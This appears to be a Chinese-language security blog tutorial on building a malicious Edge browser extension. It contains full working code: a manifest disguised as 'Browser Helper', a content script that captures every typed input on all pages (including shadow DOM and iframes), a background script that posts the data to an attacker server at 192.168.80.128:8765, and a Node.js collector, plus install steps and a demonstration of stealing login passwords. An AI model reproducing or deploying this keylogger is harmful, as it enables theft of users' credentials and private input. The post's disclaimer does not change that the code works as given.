免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
前言
edge扩展作为edge浏览器丰富功能,增强浏览器功能扩展性的一个重要功能,不规范的配置和管理可能会造成严重的安全风险。恶意黑客利用钓鱼引导、后门植入等方式,制作和安装恶意扩展文件到edge浏览器中,从而造成信息泄露、凭证窃取、代码执行等风险。虽然Manifest V3版本已经移除了大量高危API和风险函数,但仍可以通过一定方式窃取到用户信息账户密码等。
扩展制作
edge扩展主要由核心文件、后台脚本、页面组件、资源文件等内容组成,想要制作恶意扩展文件,只需要保留核心文件、后台脚本即可。
现在我们开始编写扩展程序
核心文件 manifest.json
json
{
"manifest_version": 3,
"name": "Browser Helper",
"version": "1.0",
"description": "test",
"permissions": [
"activeTab",
"storage",
"webRequest",
"webNavigation"
],
"host_permissions": [
"http://192.168.80.128:8765/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}
我们来解释一下代码的主要核心内容,permissions是扩展在edge中的权限声明,我们需要用到的权限都需要在这进行声明。
activeTab
用于临时获取当前激活(用户正在浏览)的标签页的控制权。
storage
允许扩展使用 chrome.storage API
存储和读取数据。
webRequest
拦截、修改或阻止网络请求。
webNavigation
监听浏览器导航事件。
host_permissions
下需要填写需要访问的特定主机或 URL 模式,当然这里直接换成"host_permissions": ["<all_urls>"]
就是允许所有主机了。
"service_worker": "background.js"
定义扩展的后台逻辑文件,这里是直接使用background.js
作为后台逻辑文件。
"js": ["content.js"]
向网页注入content.js
脚本,后续获取用户输入信息有着巨大作用。
后台脚本 background.js
JavaScript
const ATTACKER_SERVER = 'http://192.168.80.128:8765/log';
let isConnected = false;
function testConnection() {
return fetch(ATTACKER_SERVER, {
method: 'HEAD'
}).then(() => {
isConnected = true;
return true;
}).catch(() => {
isConnected = false;
return false;
});
}
function sendData(data) {
return fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).catch(e => {
console.error('发送失败:', e);
isConnected = false;
});
}
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === 'input_log') {
if (isConnected) {
sendData(message.data);
} else {
testConnection().then(connected => {
if (connected) {
sendData(message.data);
}
});
}
}
});
setInterval(testConnection, 30000);
ATTACKER_SERVER
填写攻击者的IP即可。
background.js
用于定期检测与攻击者IP的连接状态,并在连接可用时将接收到的输入数据发送到该攻击者IP。
注入页面脚本 content.js
JavaScript
function debounce(func, delay) {
let timer = null;
return function (...args) {
if (timer) clearTimeout(timer);
timer = setTimeout(() => {
func.apply(this, args);
}, delay);
};
}
const handleInput = debounce(function (e) {
const target = e.target;
if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText;
const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms
function bindInputEvents(root = document) {
// 普通 input/textarea
root.querySelectorAll("input, textarea").forEach((input) => {
input.addEventListener("input", handleInput);
input.addEventListener("change", handleInput);
});
root.querySelectorAll("[contenteditable='true']").forEach((el) => {
el.addEventListener("keyup", handleInput);
});
}
function penetrateShadowDOM(root = document) {
root.querySelectorAll("*").forEach((element) => {
if (element.shadowRoot) {
bindInputEvents(element.shadowRoot);
penetrateShadowDOM(element.shadowRoot);
}
});
}
function observeIframes() {
document.querySelectorAll("iframe").forEach((iframe) => {
try {
if (iframe.contentDocument) {
bindInputEvents(iframe.contentDocument);
penetrateShadowDOM(iframe.contentDocument);
}
} catch (e) {
console.warn("跨域 iframe 无法监听:", e);
}
});
}
const observer = new MutationObserver((mutations) => {
bindInputEvents();
penetrateShadowDOM();
observeIframes();
});
observer.observe(document.documentElement, {
childList: true,
subtree: true,
});
bindInputEvents();
penetrateShadowDOM();
observeIframes();
const observeInputValues = () => {
document.querySelectorAll("input, textarea").forEach((input) => {
let lastValue = input.value;
const valueObserver = new MutationObserver(() => {
if (input.value !== lastValue) {
lastValue = input.value;
handleInput({ target: input });
}
});
valueObserver.observe(input, {
attributes: true,
attributeFilter: ["value"],
});
});
};
setTimeout(observeInputValues, 5000);
该脚本监听网页中的所有输入框,然后将数据发送到后台。
JavaScript
const handleInput = debounce(function (e) {
const target = e.target;
if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText;
const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms
这里设置了防抖300ms,是基于用户输入习惯进行设置的,正常用户输入一串信息是连续的,如果需要切换到其他输入框,需要一定的时间,如果不设置防抖,输入内容会一个字母一个字母返回,很影响查看。
攻击者脚本 server.js
扩展程序写完了,我们现在还需要创建接收信息的脚本,这里直接使用了node.js的脚本直接运行,实战中可以换成其他语言。
JavaScript
import express from 'express';
import cors from 'cors';
import fs from 'fs';
import path from 'path';
const app = express();
const PORT = 8765;
const LOG_FILE = 'keylogs.json';
app.use(cors());
app.use(express.json());
let logs = [];
try {
const data = fs.readFileSync(LOG_FILE, 'utf8');
logs = JSON.parse(data);
} catch (err) {
if (err.code !== 'ENOENT') {
console.error('读取日志文件错误:', err);
}
}
app.post('/log', (req, res) => {
const logData = req.body;
logData.receivedAt = new Date().toISOString();
logs.push(logData);
fs.writeFile(LOG_FILE, JSON.stringify(logs, null, 2), (err) => {
if (err) {
console.error('写入日志文件错误:', err);
}
});
console.log('收到日志:', logData);
res.status(200).send('日志已接收');
});
app.head('/log', (req, res) => {
res.status(200).end();
});
app.get('/logs', (req, res) => {
res.json(logs);
});
app.listen(PORT, '0.0.0.0', () => {
console.log(`攻击者服务器运行在 http://192.168.80.128:${PORT}`);
console.log('等待扩展连接...');
});
实战过程
我们现在已经写好了恶意扩展的代码,现在我们需要将他运用于实际中。
1、先创建一个文件夹
2、将扩展程序代码文件放入文件夹内
3、打开edge浏览器,进入扩展页面,打开开发者模式,点击加载解压缩的扩展
4、选择刚才放扩展代码的文件夹
5、像这样显示就是导入成功了
6、使用node.js运行攻击者脚本
7、我们找到一个需要登录的网站测试,输入账户密码
8、可以看到脚本已经将用户输入的账户密码信息给传递过来了
总结
该方法可以通过恶意的edge扩展获取到用户的敏感信息和操作,从而造成信息泄露甚至丢失系统权限。目前只是提供一个思路,面对那种对账号密码信息安全严密性高的网站上述代码可能不太能获取得到信息,具体的绕过思路还没有找到,不过目前已经足以应对大部分场景了。